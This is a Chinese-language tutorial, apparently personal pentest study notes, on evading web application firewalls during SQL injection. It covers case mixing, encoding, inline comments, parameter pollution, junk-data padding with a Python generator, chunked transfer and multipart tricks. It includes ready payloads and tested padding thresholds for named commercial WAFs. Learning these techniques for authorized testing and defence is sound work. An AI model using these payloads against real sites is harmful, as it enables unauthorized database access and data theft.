SQL注入之waf绕过
题记
常见SQL注入的waf绕过方式总结，借鉴网上大佬与培训课程里面的方式。垃圾参数与注释绕过与分块传输都是我比较熟悉的。
WAF拦截原理：WAF从规则库中匹配敏感字符进行拦截。
关键词大小写绕过
有的WAF因为规则设计的问题，只匹配纯大写或纯小写的字符，对字符大小写混写直接无视，这时，我们可以利用这一点来进行绕过
举例： union select ---> unIOn SeLEcT
编码绕过
针对WAF过滤的字符编码，如使用URL编码，Unicode编码，十六进制编码，Hex编码等.
举例：union select 1,2,3# =union%0aselect 1\u002c2,3%23
双写绕过
部分WAF只对字符串识别一次，删除敏感字段并拼接剩余语句，这时，我们可以通过双写来进行绕过。
举例：UNIunionON ，SELselectECT anandd
换行(\N)绕过
举例：select * from admin where username = \N union select 1,user() from admin
注释符内联注释绕过：
/XXX/，#, -- -，--+, ;
union selecte =/*!union*/ select
注释符里感叹号后面的内容会被mysql执行。
同义词替换
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注：%0a是换行也可以替代空格
HTTP参污染
对目标发送多个参数，如果目标没有多参数进行多次过滤，那么WAF对多个参数只会识别其中的一个。
举例：?id=1&id=2&id=3
垃圾参数
WAF在设计的时候都会考虑到性能问题，检测数据包的包长或检测数据流长度，有一个限制。因此在设计WAF的时候可能就有一个默认值，默认多少个字节的流大小，或是多少 个数据包。此时可以向HTTP POST添加填充数据，达到一定数目之后，POST中的sql注入恶意代码没有被检测了，达到了bypass的目的。利用脚本生成器生成大量垃圾字符。
#coding=utf-8 import random,string from urllib import parse # code by yzddMr6 varname_min = 5 varname_max = 15 data_min = 20 data_max = 25 num_min = 50 num_max = 100 def randstr(length): str_list = [random.choice(string.ascii_letters) for i in range(length)] random_str = ''.join(str_list) return random_str def main(): data={} for i in range(num_min,num_max): data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max)) print('&'+parse.urlencode(data)+'&') main()
POST请求:
举例：a=AAAAAA*[很多个A] &id=1 order by X[1-3]
目前为止的bypass测试数据： 云锁：30KB 宝塔：30KB 阿里云：200+键值对 安全狗没测过，有空测一下
建议先抓包手工试一下到底多少垃圾数据合适，没问题之后再上sqlmap。
组合绕过
以上所学习的知识点结合在一起，这样能大幅提高绕过WAF的可能性
举例：id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database() --
分块传输
在burp中关闭自动补全，删掉Content-Length: 37，添加Tranfer-Enconding: chunked就代表是分块传输了，下面字符依次类推，注意结束时有两个空行。
如果这样依旧被拦截可以在每分块后面加上；注释，尝试绕过。
2;CESHI id 2;CESHI =1 5;CESHI order 2;CESHI by 1;CESHI 4
协议未覆盖
将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行，可以直接使用Burp中的change body encoding来更改数据格式，进行绕过。
总结
WAF绕过的思路就是让WAF的检测规则，识别不到你所输入的敏感字符，利用上述我所介绍的知识点，灵活结合各种方法，从而可以增加绕过WAF的可能性。
参考链接
精华 | SQL注入万能Bypass技巧：http://mp.weixin.qq.com/s/RSXc0ACv5DS-GsajdO8IRw
WAF绕过思路+知识点：https://xffbk.cn/archives/97.html
